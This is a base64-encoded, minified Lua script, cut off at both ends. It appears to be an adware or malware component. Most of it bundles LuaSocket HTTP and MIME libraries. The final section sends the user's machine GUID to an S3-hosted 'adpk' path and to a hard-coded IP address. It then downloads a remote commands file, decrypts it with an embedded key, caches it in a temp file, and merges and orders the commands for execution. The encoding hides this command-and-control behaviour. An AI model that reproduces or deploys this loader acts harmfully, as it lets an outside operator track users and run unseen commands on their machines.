Y3Rpb24gc291cmNlLnN0cmluZyh0KQppZiB0IHRoZW4KbG9jYWwgZT0xCnJldHVybiBmdW5jdGlv
bigpCmxvY2FsIHQ9cy5zdWIodCxlLGUrQkxPQ0tTSVpFLTEpCmU9ZStCTE9DS1NJWkUKaWYgdH49
IiJ0aGVuIHJldHVybiB0CmVsc2UgcmV0dXJuIG5pbCBlbmQKZW5kCmVsc2UgcmV0dXJuIHNvdXJj
ZS5lbXB0eSgpZW5kCmVuZApmdW5jdGlvbiBzb3VyY2UucmV3aW5kKGEpCmUuYXNzZXJ0KGEpCmxv
Y2FsIHQ9e30KcmV0dXJuIGZ1bmN0aW9uKGUpCmlmIG5vdCBlIHRoZW4KZT1vLnJlbW92ZSh0KQpp
ZiBub3QgZSB0aGVuIHJldHVybiBhKCkKZWxzZSByZXR1cm4gZSBlbmQKZWxzZQpvLmluc2VydCh0
LGUpCmVuZAplbmQKZW5kCmZ1bmN0aW9uIHNvdXJjZS5jaGFpbihzLG4pCmUuYXNzZXJ0KHMgYW5k
IG4pCmxvY2FsIGEsdD0iIiwiIgpsb2NhbCBpPSJmZWVkaW5nIgpsb2NhbCBvCnJldHVybiBmdW5j
dGlvbigpCmlmIG5vdCB0IHRoZW4KZS5lcnJvcignc291cmNlIGlzIGVtcHR5IScsMikKZW5kCndo
aWxlIHRydWUgZG8KaWYgaT09ImZlZWRpbmcidGhlbgphLG89cygpCmlmIG8gdGhlbiByZXR1cm4g
bmlsLG8gZW5kCnQ9bihhKQppZiBub3QgdCB0aGVuCmlmIGEgdGhlbgplLmVycm9yKCdmaWx0ZXIg
cmV0dXJuZWQgaW5hcHByb3ByaWF0ZSBuaWwnKQplbHNlCnJldHVybiBuaWwKZW5kCmVsc2VpZiB0
fj0iInRoZW4KaT0iZWF0aW5nIgppZiBhIHRoZW4gYT0iImVuZApyZXR1cm4gdAplbmQKZWxzZQp0
PW4oYSkKaWYgdD09IiJ0aGVuCmlmIGE9PSIidGhlbgppPSJmZWVkaW5nIgplbHNlCmUuZXJyb3Io
J2ZpbHRlciByZXR1cm5lZCAiIicpCmVuZAplbHNlaWYgbm90IHQgdGhlbgppZiBhIHRoZW4KZS5l
cnJvcignZmlsdGVyIHJldHVybmVkIGluYXBwcm9wcmlhdGUgbmlsJykKZWxzZQpyZXR1cm4gbmls
CmVuZAplbHNlCnJldHVybiB0CmVuZAplbmQKZW5kCmVuZAplbmQKZnVuY3Rpb24gc291cmNlLmNh
dCguLi4pCmxvY2FsIGU9by5yZW1vdmUoYXJnLDEpCnJldHVybiBmdW5jdGlvbigpCndoaWxlIGUg
ZG8KbG9jYWwgdCxhPWUoKQppZiB0IHRoZW4gcmV0dXJuIHQgZW5kCmlmIGEgdGhlbiByZXR1cm4g
bmlsLGEgZW5kCmU9by5yZW1vdmUoYXJnLDEpCmVuZAplbmQKZW5kCmZ1bmN0aW9uIHNpbmsudGFi
bGUoZSkKZT1lIG9ye30KbG9jYWwgdD1mdW5jdGlvbih0LGEpCmlmIHQgdGhlbiBvLmluc2VydChl
LHQpZW5kCnJldHVybiAxCmVuZApyZXR1cm4gdCxlCmVuZApmdW5jdGlvbiBzaW5rLnNpbXBsaWZ5
KHQpCmUuYXNzZXJ0KHQpCnJldHVybiBmdW5jdGlvbihlLGEpCmxvY2FsIGEsZT10KGUsYSkKaWYg
bm90IGEgdGhlbiByZXR1cm4gbmlsLGUgZW5kCnQ9ZSBvciB0CnJldHVybiAxCmVuZAplbmQKZnVu
Y3Rpb24gc2luay5maWxlKGUsYSkKaWYgZSB0aGVuCnJldHVybiBmdW5jdGlvbih0LGEpCmlmIG5v
dCB0IHRoZW4KZTpjbG9zZSgpCnJldHVybiAxCmVsc2UgcmV0dXJuIGU6d3JpdGUodCllbmQKZW5k
CmVsc2UgcmV0dXJuIHNpbmsuZXJyb3IoYSBvciJ1bmFibGUgdG8gb3BlbiBmaWxlIillbmQKZW5k
CmxvY2FsIGZ1bmN0aW9uIHQoKQpyZXR1cm4gMQplbmQKZnVuY3Rpb24gc2luay5udWxsKCkKcmV0
dXJuIHQKZW5kCmZ1bmN0aW9uIHNpbmsuZXJyb3IoZSkKcmV0dXJuIGZ1bmN0aW9uKCkKcmV0dXJu
IG5pbCxlCmVuZAplbmQKZnVuY3Rpb24gc2luay5jaGFpbihhLG8pCmUuYXNzZXJ0KGEgYW5kIG8p
CnJldHVybiBmdW5jdGlvbih0LGkpCmlmIHR+PSIidGhlbgpsb2NhbCBlPWEodCkKbG9jYWwgdD10
IGFuZCIiCndoaWxlIHRydWUgZG8KbG9jYWwgaSxvPW8oZSxpKQppZiBub3QgaSB0aGVuIHJldHVy
biBuaWwsbyBlbmQKaWYgZT09dCB0aGVuIHJldHVybiAxIGVuZAplPWEodCkKZW5kCmVsc2UgcmV0
dXJuIDEgZW5kCmVuZAplbmQKZnVuY3Rpb24gcHVtcC5zdGVwKGUsYSkKbG9jYWwgdCxlPWUoKQps
b2NhbCBvLGE9YSh0LGUpCmlmIHQgYW5kIG8gdGhlbiByZXR1cm4gMQplbHNlIHJldHVybiBuaWws
ZSBvciBhIGVuZAplbmQKZnVuY3Rpb24gcHVtcC5hbGwobyxhLHQpCmUuYXNzZXJ0KG8gYW5kIGEp
CnQ9dCBvciBwdW1wLnN0ZXAKd2hpbGUgdHJ1ZSBkbwpsb2NhbCB0LGU9dChvLGEpCmlmIG5vdCB0
IHRoZW4KaWYgZSB0aGVuIHJldHVybiBuaWwsZQplbHNlIHJldHVybiAxIGVuZAplbmQKZW5kCmVu
ZAplbmQpCnBhY2thZ2UucHJlbG9hZFsnbWltZSddPShmdW5jdGlvbiguLi4pCmxvY2FsIG89X0cK
bG9jYWwgZT1yZXF1aXJlKCJsdG4xMiIpCmxvY2FsIHQ9cmVxdWlyZSgibWltZS5jb3JlIikKbG9j
YWwgdD1yZXF1aXJlKCJpbyIpCmxvY2FsIG49cmVxdWlyZSgic3RyaW5nIikKbW9kdWxlKCJtaW1l
IikKZW5jb2RldD17fQpkZWNvZGV0PXt9CndyYXB0PXt9CmxvY2FsIGZ1bmN0aW9uIGEoYSkKcmV0
dXJuIGZ1bmN0aW9uKGUsdCxpKQppZiBvLnR5cGUoZSl+PSJzdHJpbmcidGhlbgplLHQsaT0iZGVm
YXVsdCIsZSx0CmVuZApsb2NhbCBhPWFbZSBvciJuaWwiXQppZiBub3QgYSB0aGVuCm8uZXJyb3Io
InVua25vd24ga2V5ICgiLi5vLnRvc3RyaW5nKGUpLi4iKSIsMykKZWxzZSByZXR1cm4gYSh0LGkp
ZW5kCmVuZAplbmQKZW5jb2RldFsnYmFzZTY0J109ZnVuY3Rpb24oKQpyZXR1cm4gZS5maWx0ZXIu
Y3ljbGUoYjY0LCIiKQplbmQKZW5jb2RldFsncXVvdGVkLXByaW50YWJsZSddPWZ1bmN0aW9uKHQp
CnJldHVybiBlLmZpbHRlci5jeWNsZShxcCwiIiwKKHQ9PSJiaW5hcnkiKWFuZCI9MEQ9MEEib3Ii
XHJcbiIpCmVuZApkZWNvZGV0WydiYXNlNjQnXT1mdW5jdGlvbigpCnJldHVybiBlLmZpbHRlci5j
eWNsZSh1bmI2NCwiIikKZW5kCmRlY29kZXRbJ3F1b3RlZC1wcmludGFibGUnXT1mdW5jdGlvbigp
CnJldHVybiBlLmZpbHRlci5jeWNsZSh1bnFwLCIiKQplbmQKbG9jYWwgZnVuY3Rpb24gdChlKQpp
ZiBlIHRoZW4KaWYgZT09IiJ0aGVuIHJldHVybiInJyIKZWxzZSByZXR1cm4gbi5sZW4oZSllbmQK
ZWxzZSByZXR1cm4ibmlsImVuZAplbmQKd3JhcHRbJ3RleHQnXT1mdW5jdGlvbih0KQp0PXQgb3Ig
NzYKcmV0dXJuIGUuZmlsdGVyLmN5Y2xlKHdycCx0LHQpCmVuZAp3cmFwdFsnYmFzZTY0J109d3Jh
cHRbJ3RleHQnXQp3cmFwdFsnZGVmYXVsdCddPXdyYXB0Wyd0ZXh0J10Kd3JhcHRbJ3F1b3RlZC1w
cmludGFibGUnXT1mdW5jdGlvbigpCnJldHVybiBlLmZpbHRlci5jeWNsZShxcHdycCw3Niw3NikK
ZW5kCmVuY29kZT1hKGVuY29kZXQpCmRlY29kZT1hKGRlY29kZXQpCndyYXA9YSh3cmFwdCkKZnVu
Y3Rpb24gbm9ybWFsaXplKHQpCnJldHVybiBlLmZpbHRlci5jeWNsZShlb2wsMCx0KQplbmQKZnVu
Y3Rpb24gc3R1ZmYoKQpyZXR1cm4gZS5maWx0ZXIuY3ljbGUoZG90LDIpCmVuZAplbmQpCnBhY2th
Z2UucHJlbG9hZFsnc29ja2V0Lmh0dHAnXT0oZnVuY3Rpb24oLi4uKQpsb2NhbCB0PXJlcXVpcmUo
InNvY2tldCIpCmxvY2FsIGg9cmVxdWlyZSgic29ja2V0LnVybCIpCmxvY2FsIGk9cmVxdWlyZSgi
bHRuMTIiKQpsb2NhbCBsPXJlcXVpcmUoIm1pbWUiKQpsb2NhbCBvPXJlcXVpcmUoInN0cmluZyIp
CmxvY2FsIGE9X0cKbG9jYWwgZD1yZXF1aXJlKCJ0YWJsZSIpCm1vZHVsZSgic29ja2V0Lmh0dHAi
KQpUSU1FT1VUPTYwClBPUlQ9ODAKVVNFUkFHRU5UPXQuX1ZFUlNJT04KbG9jYWwgZnVuY3Rpb24g
cihoLGkpCmxvY2FsIG4sYSxzLGUKaT1pIG9ye30KbixlPWg6cmVjZWl2ZSgpCmlmIGUgdGhlbiBy
ZXR1cm4gbmlsLGUgZW5kCndoaWxlIG5+PSIiZG8KYSxzPXQuc2tpcCgyLG8uZmluZChuLCJeKC4t
KTolcyooLiopIikpCmlmIG5vdChhIGFuZCBzKXRoZW4gcmV0dXJuIG5pbCwibWFsZm9ybWVkIHJl
cG9uc2UgaGVhZGVycyJlbmQKYT1vLmxvd2VyKGEpCm4sZT1oOnJlY2VpdmUoKQppZiBlIHRoZW4g
cmV0dXJuIG5pbCxlIGVuZAp3aGlsZSBvLmZpbmQobiwiXiVzIilkbwpzPXMuLm4Kbj1oOnJlY2Vp
dmUoKQppZiBlIHRoZW4gcmV0dXJuIG5pbCxlIGVuZAplbmQKaWYgaVthXXRoZW4gaVthXT1pW2Fd
Li4iLCAiLi5zCmVsc2UgaVthXT1zIGVuZAplbmQKcmV0dXJuIGkKZW5kCnQuc291cmNldFsiaHR0
cC1jaHVua2VkIl09ZnVuY3Rpb24oZSxpKQpyZXR1cm4gYS5zZXRtZXRhdGFibGUoewpnZXRmZD1m
dW5jdGlvbigpcmV0dXJuIGU6Z2V0ZmQoKWVuZCwKZGlydHk9ZnVuY3Rpb24oKXJldHVybiBlOmRp
cnR5KCllbmQKfSx7Cl9fY2FsbD1mdW5jdGlvbigpCmxvY2FsIG4sdD1lOnJlY2VpdmUoKQppZiB0
IHRoZW4gcmV0dXJuIG5pbCx0IGVuZApsb2NhbCBhPWEudG9udW1iZXIoby5nc3ViKG4sIjsuKiIs
IiIpLDE2KQppZiBub3QgYSB0aGVuIHJldHVybiBuaWwsImludmFsaWQgY2h1bmsgc2l6ZSJlbmQK
aWYgYT4wIHRoZW4KbG9jYWwgdCxhLG89ZTpyZWNlaXZlKGEpCmlmIHQgdGhlbiBlOnJlY2VpdmUo
KWVuZApyZXR1cm4gdCxhCmVsc2UKaSx0PXIoZSxpKQppZiBub3QgaSB0aGVuIHJldHVybiBuaWws
dCBlbmQKZW5kCmVuZAp9KQplbmQKdC5zaW5rdFsiaHR0cC1jaHVua2VkIl09ZnVuY3Rpb24oZSkK
cmV0dXJuIGEuc2V0bWV0YXRhYmxlKHsKZ2V0ZmQ9ZnVuY3Rpb24oKXJldHVybiBlOmdldGZkKCll
bmQsCmRpcnR5PWZ1bmN0aW9uKClyZXR1cm4gZTpkaXJ0eSgpZW5kCn0sewpfX2NhbGw9ZnVuY3Rp
b24oYSx0LGEpCmlmIG5vdCB0IHRoZW4gcmV0dXJuIGU6c2VuZCgiMFxyXG5cclxuIillbmQKbG9j
YWwgYT1vLmZvcm1hdCgiJVhcclxuIixvLmxlbih0KSkKcmV0dXJuIGU6c2VuZChhLi50Li4iXHJc
biIpCmVuZAp9KQplbmQKbG9jYWwgZT17X19pbmRleD17fX0KZnVuY3Rpb24gb3BlbihpLG4sbykK
bG9jYWwgbz10LnRyeSgobyBvciB0LnRjcCkoKSkKbG9jYWwgZT1hLnNldG1ldGF0YWJsZSh7Yz1v
fSxlKQplLnRyeT10Lm5ld3RyeShmdW5jdGlvbigpZTpjbG9zZSgpZW5kKQplLnRyeShvOnNldHRp
bWVvdXQoVElNRU9VVCkpCmUudHJ5KG86Y29ubmVjdChpLG4gb3IgUE9SVCkpCnJldHVybiBlCmVu
ZApmdW5jdGlvbiBlLl9faW5kZXg6c2VuZHJlcXVlc3RsaW5lKGUsdCkKbG9jYWwgZT1vLmZvcm1h
dCgiJXMgJXMgSFRUUC8xLjFcclxuIixlIG9yIkdFVCIsdCkKcmV0dXJuIHNlbGYudHJ5KHNlbGYu
YzpzZW5kKGUpKQplbmQKZnVuY3Rpb24gZS5fX2luZGV4OnNlbmRoZWFkZXJzKHQpCmxvY2FsIGU9
IlxyXG4iCmZvciB0LGEgaW4gYS5wYWlycyh0KWRvCmU9dC4uIjogIi4uYS4uIlxyXG4iLi5lCmVu
ZApzZWxmLnRyeShzZWxmLmM6c2VuZChlKSkKcmV0dXJuIDEKZW5kCmZ1bmN0aW9uIGUuX19pbmRl
eDpzZW5kYm9keShuLGUsYSkKZT1lIG9yIGkuc291cmNlLmVtcHR5KCkKYT1hIG9yIGkucHVtcC5z
dGVwCmxvY2FsIG89Imh0dHAtY2h1bmtlZCIKaWYgblsiY29udGVudC1sZW5ndGgiXXRoZW4gbz0i
a2VlcC1vcGVuImVuZApyZXR1cm4gc2VsZi50cnkoaS5wdW1wLmFsbChlLHQuc2luayhvLHNlbGYu
YyksYSkpCmVuZApmdW5jdGlvbiBlLl9faW5kZXg6cmVjZWl2ZXN0YXR1c2xpbmUoKQpsb2NhbCBl
PXNlbGYudHJ5KHNlbGYuYzpyZWNlaXZlKDUpKQppZiBlfj0iSFRUUC8idGhlbiByZXR1cm4gbmls
LGUgZW5kCmU9c2VsZi50cnkoc2VsZi5jOnJlY2VpdmUoIipsIixlKSkKbG9jYWwgdD10LnNraXAo
MixvLmZpbmQoZSwiSFRUUC8lZColLiVkKiAoJWQlZCVkKSIpKQpyZXR1cm4gc2VsZi50cnkoYS50
b251bWJlcih0KSxlKQplbmQKZnVuY3Rpb24gZS5fX2luZGV4OnJlY2VpdmVoZWFkZXJzKCkKcmV0
dXJuIHNlbGYudHJ5KHIoc2VsZi5jKSkKZW5kCmZ1bmN0aW9uIGUuX19pbmRleDpyZWNlaXZlYm9k
eShuLHMsZSkKcz1zIG9yIGkuc2luay5udWxsKCkKZT1lIG9yIGkucHVtcC5zdGVwCmxvY2FsIHI9
YS50b251bWJlcihuWyJjb250ZW50LWxlbmd0aCJdKQpsb2NhbCBoPW5bInRyYW5zZmVyLWVuY29k
aW5nIl0KbG9jYWwgbz0iZGVmYXVsdCIKaWYgaCBhbmQgaH49ImlkZW50aXR5InRoZW4gbz0iaHR0
cC1jaHVua2VkIgplbHNlaWYgYS50b251bWJlcihuWyJjb250ZW50LWxlbmd0aCJdKXRoZW4gbz0i
YnktbGVuZ3RoImVuZApyZXR1cm4gc2VsZi50cnkoaS5wdW1wLmFsbCh0LnNvdXJjZShvLHNlbGYu
YyxyKSwKcyxlKSkKZW5kCmZ1bmN0aW9uIGUuX19pbmRleDpyZWNlaXZlMDlib2R5KG4sbyxhKQps
b2NhbCBlPWkuc291cmNlLnJld2luZCh0LnNvdXJjZSgidW50aWwtY2xvc2VkIixzZWxmLmMpKQpl
KG4pCnJldHVybiBzZWxmLnRyeShpLnB1bXAuYWxsKGUsbyxhKSkKZW5kCmZ1bmN0aW9uIGUuX19p
bmRleDpjbG9zZSgpCnJldHVybiBzZWxmLmM6Y2xvc2UoKQplbmQKbG9jYWwgZnVuY3Rpb24gbihl
KQpsb2NhbCBhPWUKaWYgbm90IGUucHJveHkgYW5kIG5vdCBQUk9YWSB0aGVuCmE9ewpwYXRoPXQu
dHJ5KGUucGF0aCwiaW52YWxpZCBwYXRoICduaWwnIiksCnBhcmFtcz1lLnBhcmFtcywKcXVlcnk9
ZS5xdWVyeSwKZnJhZ21lbnQ9ZS5mcmFnbWVudAp9CmVuZApyZXR1cm4gaC5idWlsZChhKQplbmQK
bG9jYWwgZnVuY3Rpb24gcyh0KQpsb2NhbCBlPXQucHJveHkgb3IgUFJPWFkKaWYgZSB0aGVuCmU9
aC5wYXJzZShlKQpyZXR1cm4gZS5ob3N0LGUucG9ydCBvciAzMTI4CmVsc2UKcmV0dXJuIHQuaG9z
dCx0LnBvcnQKZW5kCmVuZApsb2NhbCBmdW5jdGlvbiByKGUpCmxvY2FsIHQ9ewpbInVzZXItYWdl
bnQiXT1VU0VSQUdFTlQsClsiaG9zdCJdPWUuaG9zdCwKWyJjb25uZWN0aW9uIl09ImNsb3NlLCBU
RSIsClsidGUiXT0idHJhaWxlcnMiCn0KaWYgZS51c2VyIGFuZCBlLnBhc3N3b3JkIHRoZW4KdFsi
YXV0aG9yaXphdGlvbiJdPQoiQmFzaWMgIi4uKGwuYjY0KGUudXNlci4uIjoiLi5lLnBhc3N3b3Jk
KSkKZW5kCmZvciBhLGUgaW4gYS5wYWlycyhlLmhlYWRlcnMgb3IgdClkbwp0W28ubG93ZXIoYSld
PWUKZW5kCnJldHVybiB0CmVuZApsb2NhbCBlPXsKaG9zdD0iIiwKcG9ydD1QT1JULApwYXRoPSIv
IiwKc2NoZW1lPSJodHRwIgp9CmxvY2FsIGZ1bmN0aW9uIHUobykKbG9jYWwgZT1vLnVybCBhbmQg
aC5wYXJzZShvLnVybCxlKW9ye30KZm9yIHQsYSBpbiBhLnBhaXJzKG8pZG8gZVt0XT1hIGVuZApp
ZiBlLnBvcnQ9PSIidGhlbiBlLnBvcnQ9ODAgZW5kCnQudHJ5KGUuaG9zdCBhbmQgZS5ob3N0fj0i
IiwKImludmFsaWQgaG9zdCAnIi4uYS50b3N0cmluZyhlLmhvc3QpLi4iJyIpCmUudXJpPW8udXJp
IG9yIG4oZSkKZS5ob3N0LGUucG9ydD1zKGUpCmUuaGVhZGVycz1yKGUpCnJldHVybiBlCmVuZAps
b2NhbCBmdW5jdGlvbiBsKGUsYSx0KQpyZXR1cm4gdC5sb2NhdGlvbiBhbmQKby5nc3ViKHQubG9j
YXRpb24sIiVzIiwiIil+PSIiYW5kCihlLnJlZGlyZWN0fj1mYWxzZSlhbmQKKGE9PTMwMSBvciBh
PT0zMDIpYW5kCihub3QgZS5tZXRob2Qgb3IgZS5tZXRob2Q9PSJHRVQib3IgZS5tZXRob2Q9PSJI
RUFEIikKYW5kKG5vdCBlLm5yZWRpcmVjdHMgb3IgZS5ucmVkaXJlY3RzPDUpCmVuZApsb2NhbCBm
dW5jdGlvbiByKHQsZSkKaWYgdC5tZXRob2Q9PSJIRUFEInRoZW4gcmV0dXJuIG5pbCBlbmQKaWYg
ZT09MjA0IG9yIGU9PTMwNCB0aGVuIHJldHVybiBuaWwgZW5kCmlmIGU+PTEwMCBhbmQgZTwyMDAg
dGhlbiByZXR1cm4gbmlsIGVuZApyZXR1cm4gMQplbmQKbG9jYWwgbixzCmZ1bmN0aW9uIHMoZSx0
KQpsb2NhbCBpLGEsZSxvPW57CnVybD1oLmFic29sdXRlKGUudXJsLHQpLApzb3VyY2U9ZS5zb3Vy
Y2UsCnNpbms9ZS5zaW5rLApoZWFkZXJzPWUuaGVhZGVycywKcHJveHk9ZS5wcm94eSwKbnJlZGly
ZWN0cz0oZS5ucmVkaXJlY3RzIG9yIDApKzEsCmNyZWF0ZT1lLmNyZWF0ZQp9CmU9ZSBvcnt9CmUu
bG9jYXRpb249ZS5sb2NhdGlvbiBvciB0CnJldHVybiBpLGEsZSxvCmVuZApmdW5jdGlvbiBuKG4p
CmxvY2FsIGU9dShuKQpsb2NhbCB0PW9wZW4oZS5ob3N0LGUucG9ydCxlLmNyZWF0ZSkKdDpzZW5k
cmVxdWVzdGxpbmUoZS5tZXRob2QsZS51cmkpCnQ6c2VuZGhlYWRlcnMoZS5oZWFkZXJzKQppZiBl
LnNvdXJjZSB0aGVuCnQ6c2VuZGJvZHkoZS5oZWFkZXJzLGUuc291cmNlLGUuc3RlcCkKZW5kCmxv
Y2FsIGEsaT10OnJlY2VpdmVzdGF0dXNsaW5lKCkKaWYgbm90IGEgdGhlbgp0OnJlY2VpdmUwOWJv
ZHkoaSxlLnNpbmssZS5zdGVwKQpyZXR1cm4gMSwyMDAKZW5kCmxvY2FsIG8Kd2hpbGUgYT09MTAw
IGRvCm89dDpyZWNlaXZlaGVhZGVycygpCmEsaT10OnJlY2VpdmVzdGF0dXNsaW5lKCkKZW5kCm89
dDpyZWNlaXZlaGVhZGVycygpCmlmIGwoZSxhLG8pYW5kIG5vdCBlLnNvdXJjZSB0aGVuCnQ6Y2xv
c2UoKQpyZXR1cm4gcyhuLG8ubG9jYXRpb24pCmVuZAppZiByKGUsYSl0aGVuCnQ6cmVjZWl2ZWJv
ZHkobyxlLnNpbmssZS5zdGVwKQplbmQKdDpjbG9zZSgpCnJldHVybiAxLGEsbyxpCmVuZApsb2Nh
bCBmdW5jdGlvbiBoKGUsYSkKbG9jYWwgcz17fQpsb2NhbCBlPXsKdXJsPWUsCnNpbms9aS5zaW5r
LnRhYmxlKHMpCn0KaWYgYSB0aGVuCmUuc291cmNlPWkuc291cmNlLnN0cmluZyhhKQplLmhlYWRl
cnM9ewpbImNvbnRlbnQtbGVuZ3RoIl09by5sZW4oYSksClsiY29udGVudC10eXBlIl09ImFwcGxp
Y2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIKfQplLm1ldGhvZD0iUE9TVCIKZW5kCmxvY2Fs
IGUsYSx0PXQuc2tpcCgxLG4oZSkpCnJldHVybiBkLmNvbmNhdChzKSxlLGEsdAplbmQKcmVxdWVz
dD10LnByb3RlY3QoZnVuY3Rpb24oZSx0KQppZiBhLnR5cGUoZSk9PSJzdHJpbmcidGhlbiByZXR1
cm4gaChlLHQpCmVsc2UgcmV0dXJuIG4oZSllbmQKZW5kKQplbmQpCmxvY2FsIGU9cmVxdWlyZSgi
c29ja2V0Lmh0dHAiKTsKbG9jYWwgZT1yZXF1aXJlKCJjb21tb24iKTsKSlNPTj1yZXF1aXJlKCJK
U09OIik7CmU9ZS5uZXcoKTsKbG9jYWwgdD0oR2V0VXNlckd1aWQpYW5kIEdldFVzZXJHdWlkKClv
ciIiOwp0PXN0cmluZy5mb3JtYXQoIiVzLSVzLSVzLSVzLSVzIix0OnN1YigxLDgpLHQ6c3ViKDks
MTIpLHQ6c3ViKDEzLDE2KSx0OnN1YigxNywyMCksdDpzdWIoMjEpKTsKbG9jYWwgaT0oQ2hlY2tB
cmcpYW5kIENoZWNrQXJnKCJzb3VyY2UiKW9yIiI7CmxvY2FsIGE9KENoZWNrQXJnKWFuZCBDaGVj
a0FyZygib3B0aW9ucyIpb3IiIjsKbG9jYWwgcz0oYTpzdWIoNSw1KT09IjEiKWFuZCJwcm9kdWN0
aW9uIm9yImRldmVsb3BtZW50IjsKbG9jYWwgbz0oYX49IiIpYW5kIHN0cmluZy5mb3JtYXQoIiVz
IixhOnN1Yig4LDEwKSlvciI5OTkiOwpsb2NhbCBjPXRydWU7CmxvY2FsIG49IiI7CmxvY2FsIG89
c3RyaW5nLmZvcm1hdCgiaHR0cDovL3MzLmFtYXpvbmF3cy5jb20vY2RuLmFkcGsuY29tLyVzLyVz
L2NvbW1hbmRzLmRhdD9nPSVzJnM9JXMiLG8sYTpzdWIoNSw1KSxzdHJpbmcudXBwZXIodCksaSk7
CmxvY2FsIG49b3MudGltZSgpLTcwMDsKbG9jYWwgYT0iNmM2MTcxNzU2MTZlNjQ2MTc3NjE3NDZi
Njk2ZTczNzI2NTZkNmY3NDY1NjQ2MjBhIjsKbG9jYWwgaD0iMSI7CmxvY2FsIHQ9c3RyaW5nLmZv
cm1hdCgiaHR0cDovLzU0LjIyMS4xMzIuMjIwL2V1Lmpzb24/Zz0lcyZzPSVzIixzdHJpbmcudXBw
ZXIodCksaSk7CmlmIEdldFRpbWVMYXN0Q21kfj1uaWwgdGhlbgpuPUdldFRpbWVMYXN0Q21kKCk7
CmlmIG49PTAgdGhlbgpTZXRUaW1lTGFzdENtZChvcy50aW1lKCkpOwplbmQKZW5kCmUuZGVidWco
c3RyaW5nLmZvcm1hdCgiPT09PT09PT09PT09PT09PT09PT09PT09PSBWRVJTSU9OICVzICVzICVz
ID09PT09PT09PT09PT09PT09PT09PT09PT0iLEdldFZlcnNpb24oKSxzLG9zLnRpbWUoKS1uKSk7
CmZ1bmN0aW9uIEpTT046b25EZWNvZGVFcnJvcihhLHQsbyxpKQplLmRlYnVnKHN0cmluZy5mb3Jt
YXQoIkpTT04gRGVjb2RlIEVycm9yIE1lc3NhZ2U6ICVzICVzICVzIixhLG8sdCkpOwplbmQKaWYo
b3MudGltZSgpLW4pPjYwMCB0aGVuCmxvY2FsIGksdD1lLmdldGJ5aHR0cCh0KTsKaWYgU2V0VGlt
ZUxhc3RDbWR+PW5pbCB0aGVuClNldFRpbWVMYXN0Q21kKG9zLnRpbWUoKSk7CmVuZAppZiBzdHJp
bmcuZmluZCh0LCJodG1sIilvciBzdHJpbmcuZmluZCh0LCJzdGF0dXMiKW9yIHQ9PW5pbCBvciB0
PT0iInRoZW4KaSxzUmVtb3RlREI9ZS5nZXRieWh0dHAobyk7CmlmIHNSZW1vdGVEQn49bmlsIHRo
ZW4KZS5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJSZW1vdGUgY29tbWFuZHMgKCVzKSByZXRyaWV2ZWQg
ZnJvbSAlcyBzdWNjZXNzZnVsbHkiLCNzUmVtb3RlREIsbykpOwpzUmVtb3RlREI9KEVuY3J5cHQp
YW5kIEVuY3J5cHQoc1JlbW90ZURCLGEpb3IgZS5lbmNyeXB0KHNSZW1vdGVEQixhKTsKbG9jYWwg
ZT1KU09OOmRlY29kZShzUmVtb3RlREIpOwpyZW1vdGVkYl9qc29uPWU7CmVsc2UKZS5kZWJ1Zyhz
dHJpbmcuZm9ybWF0KCJSZW1vdGUgY29tbWFuZHMgcmV0cmlldmVkIGZyb20gJXMgdW5zdWNjZXNz
ZnVsbHkiLG8pKTsKZW5kCmVsc2UKaWYgc1JlbW90ZURCPT1uaWwgdGhlbgpyZXR1cm4gZmFsc2U7
CmVsc2UKc1JlbW90ZURCPShFbmNyeXB0KWFuZCBFbmNyeXB0KHNSZW1vdGVEQixhKW9yIGUuZW5j
cnlwdChzUmVtb3RlREIsYSk7CmxvY2FsIHQ9SlNPTjpkZWNvZGUoc1JlbW90ZURCKTsKcmVtb3Rl
ZGJfanNvbj10OwplLmRlYnVnKCJSZW1vdGUgY29tbWFuZHMgcmV0cmlldmVkIGZyb20gZXhjZXB0
aW9ucyBzdWNjZXNzZnVsbHkiKTsKZW5kCmVuZAplbmQKbG9jYWwgdDsKaWYgR2V0Q29tbWFuZHN+
PW5pbCB0aGVuCnQ9R2V0Q29tbWFuZHMoKTsKZWxzZQp0PWUucmVhZGZpbGUoc3RyaW5nLmZvcm1h
dCgiJXNscXdkYi5kYXQiLGUudGVtcHBhdGgoKSkpOwplbmQKbG9jYWwgYT0iIjsKaWYgdH49bmls
IHRoZW4KdD0oRW5jcnlwdClhbmQgRW5jcnlwdCh0LCJsYXF1YW5kYSB3YXRraW5zIilvciBlLmVu
Y3J5cHQodCwibGFxdWFuZGEgd2F0a2lucyIpOwphPUpTT046ZGVjb2RlKHQpOwplbHNlCmE9cmVt
b3RlZGJfanNvbjsKZW5kCmlmIHQ9PW5pbCB0aGVuCmlmIHR5cGUoYSk9PSJ0YWJsZSJ0aGVuCmUu
c2F2ZWRiKEpTT046ZW5jb2RlKGEpKTsKZWxzZQpyZXR1cm4gZmFsc2U7CmVuZAplbmQKbG9jYWwg
aT17fTsKaWYgYX49bmlsIGFuZCByZW1vdGVkYl9qc29ufj1uaWwgdGhlbgpmb3IgdCxlIGluIHBh
aXJzKGEpZG8KbG9jYWwgYT1mYWxzZTsKZm9yIG8sdCBpbiBwYWlycyhyZW1vdGVkYl9qc29uKWRv
CmlmIGVbImhhc2giXT09dFsiaGFzaCJddGhlbgpsb2NhbCBvPShlWyJyZXN1bHQiXX49bmlsKWFu
ZCBlWyJyZXN1bHQiXW9yIG5pbDsKaWYgZVsiZGF0ZSJdfj1uaWwgdGhlbgpsb2NhbCBhPWVbImRh
dGUiXTsKbG9jYWwgaT1lWyJzdGF0dXMiXTsKZT10OwplWyJzdGF0dXMiXT1pOwplWyJkYXRlIl09
YTsKZVsicmVzdWx0Il09bzsKZWxzZQplPXQ7CmVbInJlc3VsdCJdPW87CmVuZAphPXRydWU7CmVu
ZAplbmQKaWYgYSB0aGVuCnRhYmxlLmluc2VydChpLGUpOwplbmQKZW5kCmZvciB0LGUgaW4gcGFp
cnMocmVtb3RlZGJfanNvbilkbwpsb2NhbCB0PWZhbHNlOwpmb3IgbyxhIGluIHBhaXJzKGEpZG8K
aWYgZVsiaGFzaCJdPT1hWyJoYXNoIl10aGVuCnQ9dHJ1ZTsKZW5kCmVuZAppZiB0PT1mYWxzZSB0
aGVuCnRhYmxlLmluc2VydChpLGUpOwplbmQKZW5kCmE9ZS5zaGFsbG93Y29weShpKTsKaT17fTsK
ZW5kCnRhYmxlLnNvcnQoYSxmdW5jdGlvbih0LGUpcmV0dXJuIHRvbnVtYmVyKHQub3JkZXIpPHRv
